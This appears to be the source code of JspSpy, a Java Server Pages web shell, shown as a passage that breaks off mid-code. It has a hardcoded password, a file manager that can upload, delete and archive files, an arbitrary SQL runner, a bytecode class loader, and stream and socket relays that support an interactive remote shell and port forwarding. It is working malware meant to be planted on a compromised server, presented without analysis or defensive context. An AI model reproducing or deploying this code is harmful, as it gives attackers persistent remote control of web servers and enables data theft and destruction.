8xXnMUmK

1<%@page pageEncoding="utf-8"%>
2<%@page import="java.io.*"%>
3<%@page import="java.util.*"%>
4<%@page import="java.util.regex.*"%>
5<%@page import="java.sql.*"%>
6<%@page import="java.lang.reflect.*"%>
7<%@page import="java.nio.charset.*"%>
8<%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
9<%@page import="java.text.*"%>
10<%@page import="java.net.*"%>
11<%@page import="java.util.zip.*"%>
12<%@page import="java.util.jar.*"%>
13<%@page import="java.awt.*"%>
14<%@page import="java.awt.image.*"%>
15<%@page import="javax.imageio.*"%>
16<%@page import="java.awt.datatransfer.DataFlavor"%>
17<%@page import="java.util.prefs.Preferences"%>
18<%!private static final String PW = "apple"; //password
19	private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd";
20	private static final String REQUEST_CHARSET = "ISO-8859-1";
21	private static final String PAGE_CHARSET = "UTF-8";
22	private static final String CURRENT_DIR = "currentdir";
23	private static final String MSG = "SHOWMSG";
24	private static final String PORT_MAP = "PMSA";
25	private static final String DBO = "DBO";
26	private static final String SHELL_ONLINE = "SHELL_ONLINE";
27	private static final String ENTER = "ENTER_FILE";
28	private static final String ENTER_MSG = "ENTER_FILE_MSG";
29	private static final String ENTER_CURRENT_DIR = "ENTER_CURRENT_DIR";
30	private static final String SESSION_O = "SESSION_O";
31	private static String SHELL_NAME = "";
32	private static String WEB_ROOT = null;
33	private static String SHELL_DIR = null;
34	public static Map ins = new HashMap();
35	private static boolean ISLINUX = false;
36	
37	private static final String MODIFIED_ERROR = "JspSpy Was Modified By Some Other Applications. Please Logout.";
38	private static final String BACK_HREF = " <a href='javascript:history.back()'>Back</a>";
39	
40	private static class MyRequest extends HttpServletRequestWrapper {
41		public MyRequest(HttpServletRequest req) {
42			super(req);
43		}
44
45		public String getParameter(String name) {
46			try {
47				String value = super.getParameter(name);
48				if (name == null)
49					return null;
50				return new String(value.getBytes(REQUEST_CHARSET), PAGE_CHARSET);
51			} catch (Exception e) {
52				return null;
53			}
54		}
55	}
56
57	private static class SpyClassLoader extends ClassLoader {
58		public SpyClassLoader() {
59		}
60
61		public Class defineClass(String name, byte[] b) {
62			return super.defineClass(name, b, 0, b.length - 2);
63		}
64	}
65
66	private static class DBOperator {
67		private Connection conn = null;
68		private Statement stmt = null;
69		private String driver;
70		private String url;
71		private String uid;
72		private String pwd;
73
74		public DBOperator(String driver, String url, String uid, String pwd)
75				throws Exception {
76			this(driver, url, uid, pwd, false);
77		}
78
79		public DBOperator(String driver, String url, String uid, String pwd,
80				boolean connect) throws Exception {
81			Class.forName(driver);
82			if (connect)
83				this.conn = DriverManager.getConnection(url, uid, pwd);
84			this.url = url;
85			this.driver = driver;
86			this.uid = uid;
87			this.pwd = pwd;
88		}
89
90		public void connect() throws Exception {
91			this.conn = DriverManager.getConnection(url, uid, pwd);
92		}
93
94		public Object execute(String sql) throws Exception {
95			if (isValid()) {
96				stmt = conn.createStatement();
97				if (stmt.execute(sql)) {
98					return stmt.getResultSet();
99				} else {
100					return "" + stmt.getUpdateCount();
101				}
102			}
103			throw new Exception("Connection is inValid.");
104		}
105
106		public void closeStmt() throws Exception {
107			if (this.stmt != null)
108				stmt.close();
109		}
110
111		public boolean isValid() throws Exception {
112			return conn != null && !conn.isClosed();
113		}
114
115		public void close() throws Exception {
116			if (isValid()) {
117				closeStmt();
118				conn.close();
119			}
120		}
121
122		public boolean equals(Object o) {
123			if (o instanceof DBOperator) {
124				DBOperator dbo = (DBOperator) o;
125				return this.driver.equals(dbo.driver)
126						&& this.url.equals(dbo.url) && this.uid.equals(dbo.uid)
127						&& this.pwd.equals(dbo.pwd);
128			}
129			return false;
130		}
131
132		public Connection getConn() {
133			return this.conn;
134		}
135	}
136
137	private static class StreamConnector extends Thread {
138		private InputStream is;
139		private OutputStream os;
140
141		public StreamConnector(InputStream is, OutputStream os) {
142			this.is = is;
143			this.os = os;
144		}
145
146		public void run() {
147			BufferedReader in = null;
148			BufferedWriter out = null;
149			try {
150				in = new BufferedReader(new InputStreamReader(this.is));
151				out = new BufferedWriter(new OutputStreamWriter(this.os));
152				char buffer[] = new char[8192];
153				int length;
154				while ((length = in.read(buffer, 0, buffer.length)) > 0) {
155					out.write(buffer, 0, length);
156					out.flush();
157				}
158			} catch (Exception e) {
159			}
160			try {
161				if (in != null)
162					in.close();
163				if (out != null)
164					out.close();
165			} catch (Exception e) {
166			}
167		}
168
169		public static void readFromLocal(final DataInputStream localIn,
170				final DataOutputStream remoteOut) {
171			new Thread(new Runnable() {
172				public void run() {
173					while (true) {
174						try {
175							byte[] data = new byte[100];
176							int len = localIn.read(data);
177							while (len != -1) {
178								remoteOut.write(data, 0, len);
179								len = localIn.read(data);
180							}
181						} catch (Exception e) {
182							break;
183						}
184					}
185				}
186			}).start();
187		}
188
189		public static void readFromRemote(final Socket soc,
190				final Socket remoteSoc, final DataInputStream remoteIn,
191				final DataOutputStream localOut) {
192			new Thread(new Runnable() {
193				public void run() {
194					while (true) {
195						try {
196							byte[] data = new byte[100];
197							int len = remoteIn.read(data);
198							while (len != -1) {
199								localOut.write(data, 0, len);
200								len = remoteIn.read(data);
201							}
202						} catch (Exception e) {
203							try {
204								soc.close();
205								remoteSoc.close();
206							} catch (Exception ex) {
207							}
208							break;
209						}
210					}
211				}
212			}).start();
213		}
214	}
215
216	private static class EnterFile extends File {
217		private ZipFile zf = null;
218		private ZipEntry entry = null;
219		private boolean isDirectory = false;
220		private String absolutePath = null;
221
222		public void setEntry(ZipEntry e) {
223			this.entry = e;
224		}
225
226		public void setAbsolutePath(String p) {
227			this.absolutePath = p;
228		}
229
230		public void close() throws Exception {
231			this.zf.close();
232		}
233
234		public void setZf(String p) throws Exception {
235			if (p.toLowerCase().endsWith(".jar"))
236				this.zf = new JarFile(p);
237			else
238				this.zf = new ZipFile(p);
239		}
240
241		public EnterFile(File parent, String child) {
242			super(parent, child);
243		}
244
245		public EnterFile(String pathname) {
246			super(pathname);
247		}
248
249		public EnterFile(String pathname, boolean isDir) {
250			this(pathname);
251			this.isDirectory = isDir;
252		}
253
254		public EnterFile(String parent, String child) {
255			super(parent, child);
256		}
257
258		public EnterFile(URI uri) {
259			super(uri);
260		}
261
262		public boolean exists() {
263			return new File(this.zf.getName()).exists();
264		}
265
266		public File[] listFiles() {
267			java.util.List list = new ArrayList();
268			java.util.List handled = new ArrayList();
269			String currentDir = super.getPath();
270			currentDir = currentDir.replace('\\', '/');
271			if (currentDir.indexOf("/") == 0) {
272				if (currentDir.length() > 1)
273					currentDir = currentDir.substring(1);
274				else
275					currentDir = "";
276			}
277			Enumeration e = this.zf.entries();
278			while (e.hasMoreElements()) {
279				ZipEntry entry = (ZipEntry) e.nextElement();
280				String eName = entry.getName();
281				if (this.zf instanceof JarFile) {
282					if (!entry.isDirectory()) {
283						EnterFile ef = new EnterFile(eName);
284						ef.setEntry(entry);
285						try {
286							ef.setZf(this.zf.getName());
287						} catch (Exception ex) {
288						}
289						list.add(ef);
290					}
291				} else {
292					if (currentDir.equals("")) {
293						//zip root directory
294						if (eName.indexOf("/") == -1
295								|| eName.matches("[^/]+/$")) {
296							EnterFile ef = new EnterFile(eName.replaceAll("/",
297									""));
298							handled.add(eName.replaceAll("/", ""));
299							ef.setEntry(entry);
300							list.add(ef);
301						} else {
302							if (eName.indexOf("/") != -1) {
303								String tmp = eName.substring(0, eName
304										.indexOf("/"));
305								if (!handled.contains(tmp)
306										&& !Util.isEmpty(tmp)) {
307									EnterFile ef = new EnterFile(tmp, true);
308									ef.setEntry(entry);
309									list.add(ef);
310									handled.add(tmp);
311								}
312							}
313						}
314					} else {
315						if (eName.startsWith(currentDir)) {
316							if (eName.matches(currentDir + "/[^/]+/?$")) {
317								//file.
318								EnterFile ef = new EnterFile(eName);
319								ef.setEntry(entry);
320								list.add(ef);
321								if (eName.endsWith("/")) {
322									String tmp = eName.substring(eName
323											.lastIndexOf('/',
324													eName.length() - 2));
325									tmp = tmp.substring(1, tmp.length() - 1);
326									handled.add(tmp);
327								}
328							} else {
329								//dir
330								try {
331									String tmp = eName.substring(currentDir
332											.length() + 1);
333									tmp = tmp.substring(0, tmp.indexOf('/'));
334									if (!handled.contains(tmp)
335											&& !Util.isEmpty(tmp)) {
336										EnterFile ef = new EnterFile(tmp, true);
337										ef.setAbsolutePath(currentDir + "/"
338												+ tmp);
339										ef.setEntry(entry);
340										list.add(ef);
341										handled.add(tmp);
342									}
343								} catch (Exception ex) {
344								}
345							}
346						}
347					}
348				}
349			}
350			return (File[]) list.toArray(new File[0]);
351		}
352
353		public boolean isDirectory() {
354			return this.entry.isDirectory() || this.isDirectory;
355		}
356
357		public String getParent() {
358			return "";
359		}
360
361		public String getAbsolutePath() {
362			return absolutePath != null ? absolutePath : super.getPath();
363		}
364
365		public String getName() {
366			if (this.zf instanceof JarFile) {
367				return this.getAbsolutePath();
368			} else {
369				return super.getName();
370			}
371		}
372
373		public long lastModified() {
374			return entry.getTime();
375		}
376
377		public boolean canRead() {
378			return false;
379		}
380
381		public boolean canWrite() {
382			return false;
383		}
384
385		public boolean canExecute() {
386			return false;
387		}
388
389		public long length() {
390			return entry.getSize();
391		}
392	}
393
394	private static class OnLineProcess {
395		private String cmd = "first";
396		private Process pro;
397
398		public OnLineProcess(Process p) {
399			this.pro = p;
400		}
401
402		public void setPro(Process p) {
403			this.pro = p;
404		}
405
406		public void setCmd(String c) {
407			this.cmd = c;
408		}
409
410		public String getCmd() {
411			return this.cmd;
412		}
413
414		public Process getPro() {
415			return this.pro;
416		}
417
418		public void stop() {
419			this.pro.destroy();
420		}
421	}
422
423	private static class OnLineConnector extends Thread {
424		private OnLineProcess ol = null;
425		private InputStream is;
426		private OutputStream os;
427		private String name;
428
429		public OnLineConnector(InputStream is, OutputStream os, String name,
430				OnLineProcess ol) {
431			this.is = is;
432			this.os = os;
433			this.name = name;
434			this.ol = ol;
435		}
436
437		public void run() {
438			BufferedReader in = null;
439			BufferedWriter out = null;
440			try {
441				in = new BufferedReader(new InputStreamReader(this.is));
442				out = new BufferedWriter(new OutputStreamWriter(this.os));
443				char buffer[] = new char[128];
444				if (this.name.equals("exeRclientO")) {
445					//from exe to client
446					int length = 0;
447					while ((length = in.read(buffer, 0, buffer.length)) > 0) {
448						String str = new String(buffer, 0, length);
449						str = str.replaceAll("&", "&amp;").replaceAll("<",
450								"&lt;").replaceAll(">", "&gt;");
451						str = str.replaceAll("" + (char) 13 + (char) 10,
452								"<br/>");
453						str = str.replaceAll("\n", "<br/>");
454						out.write(str.toCharArray(), 0, str.length());
455						out.flush();
456					}
457				} else {
458					//from client to exe
459					while (true) {
460						while (this.ol.getCmd() == null) {
461							Thread.sleep(500);
462						}
463						if (this.ol.getCmd().equals("first")) {
464							this.ol.setCmd(null);
465							continue;
466						}
467						this.ol.setCmd(this.ol.getCmd() + (char) 10);
468						char[] arr = this.ol.getCmd().toCharArray();
469						out.write(arr, 0, arr.length);
470						out.flush();
471						this.ol.setCmd(null);
472					}
473				}
474			} catch (Exception e) {
475			}
476			try {
477				if (in != null)
478					in.close();
479				if (out != null)
480					out.close();
481			} catch (Exception e) {
482			}
483		}
484	}
485
486	private static class Table {
487		private ArrayList rows = null;
488		private boolean echoTableTag = false;
489
490		public void setEchoTableTag(boolean v) {
491			this.echoTableTag = v;
492		}
493
494		public Table() {
495			this.rows = new ArrayList();
496		}
497
498		public void addRow(Row r) {
499			this.rows.add(r);
500		}
501
502		public String toString() {
503			StringBuffer html = new StringBuffer();
504			if (echoTableTag)
505				html.append("<table>");
506			for (int i = 0; i < rows.size(); i++) {
507				Row r = (Row) rows.get(i);
508				html
509						.append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
510				ArrayList columns = r.getColumns();
511				for (int a = 0; a < columns.size(); a++) {
512					Column c = (Column) columns.get(a);
513					html.append("<td nowrap>");
514					String vv = Util.htmlEncode(Util.getStr(c.getValue()));
515					if (vv.equals(""))
516						vv = "&nbsp;";
517					html.append(vv);
518					html.append("</td>");
519				}
520				html.append("</tr>");
521			}
522			if (echoTableTag)
523				html.append("</table>");
524			return html.toString();
525		}
526
527		public static String rs2Table(ResultSet rs, String sep, boolean op)
528				throws Exception {
529			StringBuffer table = new StringBuffer();
530			ResultSetMetaData meta = rs.getMetaData();
531			int count = meta.getColumnCount();
532			if (!op)
533				table
534						.append("<b style='color:red;margin-left:15px'><i> View Struct </i></b> - <a href=\"javascript:doPost({o:'executesql'})\">View All Tables</a><br/><br/>");
535			else
536				table
537						.append("<b style='color:red;margin-left:15px'><i> All Tables </i></b><br/><br/>");
538			table
539					.append("<script>function view(t){document.getElementById('sql').value='select * from "
540							+ sep + "'+t+'" + sep + "';}</script>");
541			table
542					.append("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\" style=\"margin-left:15px\"><tr class=\"head\">");
543			for (int i = 1; i <= count; i++) {
544				table.append("<td nowrap>" + meta.getColumnName(i) + "</td>");
545			}
546			if (op)
547				table.append("<td>&nbsp;</td>");
548			table.append("</tr>");
549			while (rs.next()) {
550				String tbName = null;
551				table
552						.append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
553				for (int i = 1; i <= count; i++) {
554					String v = rs.getString(i);
555					if (i == 3)
556						tbName = v;
557					table.append("<td nowrap>" + Util.null2Nbsp(v) + "</td>");
558				}
559				if (op)
560					table
561							.append("<td nowrap> <a href=\"#\" onclick=\"view('"
562									+ tbName
563									+ "')\">View</a> | <a href=\"javascript:doPost({o:'executesql',type:'struct',table:'"
564									+ tbName
565									+ "'})\">Struct</a> | <a href=\"javascript:doPost({o:'export',table:'"
566									+ tbName
567									+ "'})\">Export </a> | <a href=\"javascript:doPost({o:'vExport',table:'"
568									+ tbName + "'})\">Save To File</a> </td>");
569				table.append("</tr>");
570			}
571			table.append("</table><br/>");
572			return table.toString();
573		}
574	}
575
576	private static class Row {
577		private ArrayList cols = null;
578
579		public Row() {
580			this.cols = new ArrayList();
581		}
582
583		public void addColumn(Column n) {
584			this.cols.add(n);
585		}
586
587		public ArrayList getColumns() {
588			return this.cols;
589		}
590	}
591
592	private static class Column {
593		private String value;
594
595		public Column(String v) {
596			this.value = v;
597		}
598
599		public String getValue() {
600			return this.value;
601		}
602	}
603
604	private static class Util {
605		public static boolean isEmpty(String s) {
606			return s == null || s.trim().equals("");
607		}
608
609		public static boolean isEmpty(Object o) {
610			return o == null || isEmpty(o.toString());
611		}
612
613		public static String getSize(long size, char danwei) {
614			if (danwei == 'M') {
615				double v = formatNumber(size / 1024.0 / 1024.0, 2);
616				if (v > 1024) {
617					return getSize(size, 'G');
618				} else {
619					return v + "M";
620				}
621			} else if (danwei == 'G') {
622				return formatNumber(size / 1024.0 / 1024.0 / 1024.0, 2) + "G";
623			} else if (danwei == 'K') {
624				double v = formatNumber(size / 1024.0, 2);
625				if (v > 1024) {
626					return getSize(size, 'M');
627				} else {
628					return v + "K";
629				}
630			} else if (danwei == 'B') {
631				if (size > 1024) {
632					return getSize(size, 'K');
633				} else {
634					return size + "B";
635				}
636			}
637			return "" + 0 + danwei;
638		}
639
640		public static boolean exists(String[] arr, String v) {
641			for (int i = 0; i < arr.length; i++) {
642				if (v.equals(arr[i])) {
643					return true;
644				}
645			}
646			return false;
647		}
648
649		public static double formatNumber(double value, int l) {
650			NumberFormat format = NumberFormat.getInstance();
651			format.setMaximumFractionDigits(l);
652			format.setGroupingUsed(false);
653			return new Double(format.format(value)).doubleValue();
654		}
655
656		public static boolean isInteger(String v) {
657			if (isEmpty(v))
658				return false;
659			return v.matches("^\\d+$");
660		}
661
662		public static String formatDate(long time) {
663			SimpleDateFormat format = new SimpleDateFormat(
664					"yyyy-MM-dd hh:mm:ss");
665			return format.format(new java.util.Date(time));
666		}
667
668		public static String convertPath(String path) {
669			return path != null ? path.replace('\\', '/') : "";
670		}
671
672		public static String htmlEncode(String v) {
673			if (isEmpty(v))
674				return "";
675			return v.replaceAll("&", "&amp;").replaceAll("<", "&lt;")
676					.replaceAll(">", "&gt;");
677		}
678
679		public static String getStr(String s) {
680			return s == null ? "" : s;
681		}
682
683		public static String null2Nbsp(String s) {
684			if (s == null)
685				s = "&nbsp;";
686			return s;
687		}
688
689		public static String getStr(Object s) {
690			return s == null ? "" : s.toString();
691		}
692
693		public static String exec(String regex, String str, int group) {
694			Pattern pat = Pattern.compile(regex);
695			Matcher m = pat.matcher(str);
696			if (m.find())
697				return m.group(group);
698			return null;
699		}
700
701		public static void outMsg(Writer out, String msg) throws Exception {
702			outMsg(out, msg, "center");
703		}
704
705		public static void outMsg(Writer out, String msg, String align)
706				throws Exception {
707			out
708					.write("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:"
709							+ align
710							+ ";font-weight:bold;margin:10px\">"
711							+ msg
712							+ "</div>");
713		}
714
715		public static String highLight(String str) {
716			str = str
717					.replaceAll(
718							"\\b(abstract|package|String|byte|static|synchronized|public|private|protected|void|int|long|double|boolean|float|char|final|extends|implements|throw|throws|native|class|interface|emum)\\b",
719							"<span style='color:blue'>$1</span>");
720			str = str.replaceAll("\t(//.+)",
721					"\t<span style='color:green'>$1</span>");
722			return str;
723		}
724	}
725
726	private static class UploadBean {
727		private String fileName = null;
728		private String suffix = null;
729		private String savePath = "";
730		private ServletInputStream sis = null;
731		private OutputStream targetOutput = null;
732		private byte[] b = new byte[1024];
733
734		public void setTargetOutput(OutputStream stream) {
735			this.targetOutput = stream;
736		}
737
738		public UploadBean() {
739		}
740
741		public void setSavePath(String path) {
742			this.savePath = path;
743		}
744
745		public String getFileName() {
746			return this.fileName;
747		}
748
749		public void parseRequest(HttpServletRequest request) throws IOException {
750			sis = request.getInputStream();
751			int a = 0;
752			int k = 0;
753			String s = "";
754			while ((a = sis.readLine(b, 0, b.length)) != -1) {
755				s = new String(b, 0, a, PAGE_CHARSET);
756				if ((k = s.indexOf("filename=\"")) != -1) {
757					s = s.substring(k + 10);
758					k = s.indexOf("\"");
759					s = s.substring(0, k);
760					File tF = new File(s);
761					if (tF.isAbsolute()) {
762						fileName = tF.getName();
763					} else {
764						fileName = s;
765					}
766					k = s.lastIndexOf(".");
767					suffix = s.substring(k + 1);
768					upload();
769				}
770			}
771		}
772
773		private void upload() throws IOException {
774			try {
775				OutputStream out = null;
776				if (this.targetOutput != null)
777					out = this.targetOutput;
778				else
779					out = new FileOutputStream(new File(savePath, fileName));
780				int a = 0;
781				int k = 0;
782				String s = "";
783				while ((a = sis.readLine(b, 0, b.length)) != -1) {
784					s = new String(b, 0, a);
785					if ((k = s.indexOf("Content-Type:")) != -1) {
786						break;
787					}
788				}
789				sis.readLine(b, 0, b.length);
790				while ((a = sis.readLine(b, 0, b.length)) != -1) {
791					s = new String(b, 0, a);
792					if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45)
793							&& (b[3] == 45) && (b[4] == 45)) {
794						break;
795					}
796					out.write(b, 0, a);
797				}
798				if (out instanceof FileOutputStream)
799					out.close();
800			} catch (IOException ioe) {
801				throw ioe;
802			}
803		}
804	}%>
805<%
806
807	SHELL_NAME = request.getServletPath().substring(
808			request.getServletPath().lastIndexOf("/") + 1);
809	String myAbsolutePath = application.getRealPath(request
810			.getServletPath());
811	if (Util.isEmpty(myAbsolutePath)) {//for weblogic
812		SHELL_NAME = request.getServletPath();
813		myAbsolutePath = new File(application.getResource("/")
814				.getPath()
815				+ SHELL_NAME).toString();
816		SHELL_NAME = request.getContextPath() + SHELL_NAME;
817		WEB_ROOT = new File(application.getResource("/").getPath())
818				.toString();
819	} else {
820		WEB_ROOT = application.getRealPath("/");
821	}
822	SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,
823			myAbsolutePath.lastIndexOf(File.separator)));
824	if (SHELL_DIR.indexOf('/') == 0)
825		ISLINUX = true;
826	else
827		ISLINUX = false;
828	if (session.getAttribute(CURRENT_DIR) == null)
829		session.setAttribute(CURRENT_DIR, Util.convertPath(SHELL_DIR));
830	//request = new MyRequest(request);
831	if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null
832			|| !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) {
833		String o = request.getParameter("o");
834		if(o != null)
835			o = new String(o.getBytes(REQUEST_CHARSET), PAGE_CHARSET);
836		if (o != null && o.equals("login")) {
837			((Invoker) ins.get("login")).invoke(request, response,
838					session);
839			return;
840		} else if (o != null && o.equals("vLogin")) {
841			((Invoker) ins.get("vLogin")).invoke(request, response,
842					session);
843			return;
844		} else {
845			((Invoker) ins.get("vLogin")).invoke(request, response,
846					session);
847			return;
848		}
849	}
850%>
851<%!private static interface Invoker {
852		public void invoke(HttpServletRequest request,
853				HttpServletResponse response, HttpSession JSession)
854				throws Exception;
855
856		public boolean doBefore();
857
858		public boolean doAfter();
859	}
860
861	private static class DefaultInvoker implements Invoker {
862		public void invoke(HttpServletRequest request,
863				HttpServletResponse response, HttpSession JSession)
864				throws Exception {
865		}
866
867		public boolean doBefore() {
868			return true;
869		}
870
871		public boolean doAfter() {
872			return true;
873		}
874	}
875
876	private static class ScriptInvoker extends DefaultInvoker {
877		public void invoke(HttpServletRequest request,
878				HttpServletResponse response, HttpSession JSession)
879				throws Exception {
880			try {
881				PrintWriter out = response.getWriter();
882				out
883						.println("<script type=\"text/javascript\">"
884								+ "	String.prototype.trim = function(){return this.replace(/^\\s+|\\s+$/,'');};"
885								+ "	function fso(obj) {"
886								+ "		this.currentDir = '"
887								+ JSession.getAttribute(CURRENT_DIR)
888								+ "';"
889								+ "		this.filename = obj.filename;"
890								+ "		this.path = obj.path;"
891								+ "		this.filetype = obj.filetype;"
892								+ "		this.charset = obj.charset;"
893								+ "	};"
894								+ "	fso.prototype = {"
895								+ "		copy:function(){"
896								+ "			var path = prompt('Copy To : ',this.path);"
897								+ "			if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"
898								+ "			doPost({o:'copy',src:this.path,to:path});"
899								+ "		},"
900								+ "		move:function() {"
901								+ "			var path =prompt('Move To : ',this.path);"
902								+ "			if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"
903								+ "			doPost({o:'move',src:this.path,to:path})"
904								+ "		},"
905								+ "		vEdit:function() {"
906								+ "			if (!this.charset)"
907								+ "				doPost({o:'vEdit',filepath:this.path});"
908								+ "			else"
909								+ "				doPost({o:'vEdit',filepath:this.path,charset:this.charset});"
910								+ "		},"
911								+ "		down:function() {"
912								+ "			doPost({o:'down',path:this.path})"
913								+ "		},"
914								+ "		removedir:function() {"
915								+ "			if (!confirm('Dangerous ! Are You Sure To Delete '+this.filename+'?'))return;"
916								+ "			doPost({o:'removedir',dir:this.path});"
917								+ "		},"
918								+ "		mkdir:function() {"
919								+ "			var name = prompt('Input New Directory Name','');"
920								+ "			if (name == null || name.trim().length == 0)return;"
921								+ "			doPost({o:'mkdir',name:name});"
922								+ "		},"
923								+ "		subdir:function(out) {"
924								+ "			doPost({o:'filelist',folder:this.path,outentry:(out || 'none')})"
925								+ "		},"
926								+ "		parent:function() {"
927								+ "			var parent=(this.path.substr(0,this.path.lastIndexOf(\"/\")))+'/';"
928								+ "			doPost({o:'filelist',folder:parent})"
929								+ "		},"
930								+ "		createFile:function() {"
931								+ "			var path = prompt('Input New File Name','');"
932								+ "			if (path == null || path.trim().length == 0) return;"
933								+ "			doPost({o:'vCreateFile',filepath:path})"
934								+ "		},"
935								+ "		deleteBatch:function() {"
936								+ "			if (!confirm('Are You Sure To Delete These Files?')) return;"
937								+ "			var selected = new Array();"
938								+ "			var inputs = document.getElementsByTagName('input');"
939								+ "			for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"
940								+ "			if (selected.length == 0) {alert('No File Selected');return;}"
941								+ "			doPost({o:'deleteBatch',files:selected.join(',')})"
942								+ "		},"
943								+ "		packBatch:function() {"
944								+ "			var selected = new Array();"
945								+ "			var inputs = document.getElementsByTagName('input');"
946								+ "			for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"
947								+ "			if (selected.length == 0) {alert('No File Selected');return;}"
948								+ "			var savefilename = prompt('Input Target File Name(Only Support ZIP)','pack.zip');"
949								+ "			if (savefilename == null || savefilename.trim().length == 0)return;"
950								+ "			doPost({o:'packBatch',files:selected.join(','),savefilename:savefilename})"
951								+ "		},"
952								+ "		pack:function(showconfig) {"
953								+ "			if (showconfig && confirm('Need Pack Configuration?')) {doPost({o:'vPack',packedfile:this.path});return;}"
954								+ "			var tmpName = '';"
955								+ "			if (this.filename.indexOf('.') == -1) tmpName = this.filename;"
956								+ "			else tmpName = this.filename.substr(0,this.filename.lastIndexOf('.'));"
957								+ "			tmpName += '.zip';"
958								+ "			var path = this.path;"
959								+ "			var name = prompt('Input Target File Name (Only Support Zip)',tmpName);"
960								+ "			if (name == null || path.trim().length == 0) return;"
961								+ "			doPost({o:'pack',packedfile:path,savefilename:name})"
962								+ "		},"
963								+ "		vEditProperty:function() {"
964								+ "			var path = this.path;"
965								+ "			doPost({o:'vEditProperty',filepath:path})"
966								+ "		},"
967								+ "		unpack:function() {"
968								+ "			var path = prompt('unpack to : ',this.currentDir+'/'+this.filename.substr(0,this.filename.lastIndexOf('.')));"
969								+ "			if (path == null || path.trim().length == 0) return;"
970								+ "			doPost({o:'unpack',savepath:path,zipfile:this.path})"
971								+ "		},"
972								+ "		enter:function() {"
973								+ "			doPost({o:'enter',filepath:this.path})"
974								+ "		}"
975								+ "	};"
976								+ "	function doPost(obj) {"
977								+ "		var form = document.forms[\"doForm\"];"
978								+ "		var elements = form.elements;for (var i = form.length - 1;i>=0;i--){form.removeChild(elements[i])}"
979								+ "		for (var pro in obj)"
980								+ "		{"
981								+ "			var input = document.createElement(\"input\");"
982								+ "			input.type = \"hidden\";"
983								+ "			input.name = pro;"
984								+ "			input.value = obj[pro];"
985								+ "			form.appendChild(input);"
986								+ "		}"
987								+ "		form.submit();" + "	}" + "</script>");
988
989			} catch (Exception e) {
990
991				throw e;
992			}
993		}
994	}
995
996	private static class BeforeInvoker extends DefaultInvoker {
997		public void invoke(HttpServletRequest request,
998				HttpServletResponse response, HttpSession JSession)
999				throws Exception {
1000			try {
1001				PrintWriter out = response.getWriter();
1002				out
1003						.println("<html><head><title>JspSpy</title><style type=\"text/css\">"
1004								+ "body,td{font: 12px Arial,Tahoma;line-height: 16px;}"
1005								+ ".input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}"
1006								+ ".area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}"
1007								+ ".bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}"
1008								+ "a {color: #00f;text-decoration:underline;}"
1009								+ "a:hover{color: #f00;text-decoration:none;}"
1010								+ ".alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}"
1011								+ ".alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}"
1012								+ ".focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}"
1013								+ ".head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}"
1014								+ ".head td span{font-weight:normal;}"
1015								+ "form{margin:0;padding:0;}"
1016								+ "h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}"
1017								+ "ul.info li{margin:0;color:#444;line-height:24px;height:24px;}"
1018								+ "u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}"
1019								+ ".secho{height:400px;width:100%;overflow:auto;border:none}"
1020								+ "hr{border: 1px solid rgb(221, 221, 221); height: 0px;}"
1021								+ "</style></head><body style=\"margin:0;table-layout:fixed; word-break:break-all\">");
1022			} catch (Exception e) {
1023
1024				throw e;
1025			}
1026		}
1027	}
1028
1029	private static class AfterInvoker extends DefaultInvoker {
1030		public void invoke(HttpServletRequest request,
1031				HttpServletResponse response, HttpSession JSession)
1032				throws Exception {
1033			try {
1034				PrintWriter out = response.getWriter();
1035				out.println("</body></html>");
1036			} catch (Exception e) {
1037
1038				throw e;
1039			}
1040		}
1041	}
1042
1043	private static class DeleteBatchInvoker extends DefaultInvoker {
1044		public boolean doBefore() {
1045			return false;
1046		}
1047
1048		public boolean doAfter() {
1049			return false;
1050		}
1051
1052		public void invoke(HttpServletRequest request,
1053				HttpServletResponse response, HttpSession JSession)
1054				throws Exception {
1055			try {
1056				String files = request.getParameter("files");
1057				int success = 0;
1058				int failed = 0;
1059				if (!Util.isEmpty(files)) {
1060					String currentDir = JSession.getAttribute(CURRENT_DIR)
1061							.toString();
1062					String[] arr = files.split(",");
1063					for (int i = 0; i < arr.length; i++) {
1064						String fs = arr[i];
1065						File f = new File(currentDir, fs);
1066						if (f.delete())
1067							success += 1;
1068						else
1069							failed += 1;
1070					}
1071				}
1072				JSession
1073						.setAttribute(
1074								MSG,
1075								success
1076										+ " Files Deleted <span style='color:green'>Success</span> , "
1077										+ failed
1078										+ " Files Deleted <span style='color:red'>Failed</span>!");
1079				response.sendRedirect(SHELL_NAME);
1080			} catch (Exception e) {
1081
1082				throw e;
1083			}
1084		}
1085	}
1086
1087	private static class ClipBoardInvoker extends DefaultInvoker {
1088		public void invoke(HttpServletRequest request,
1089				HttpServletResponse response, HttpSession JSession)
1090				throws Exception {
1091			try {
1092				PrintWriter out = response.getWriter();
1093				out
1094						.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
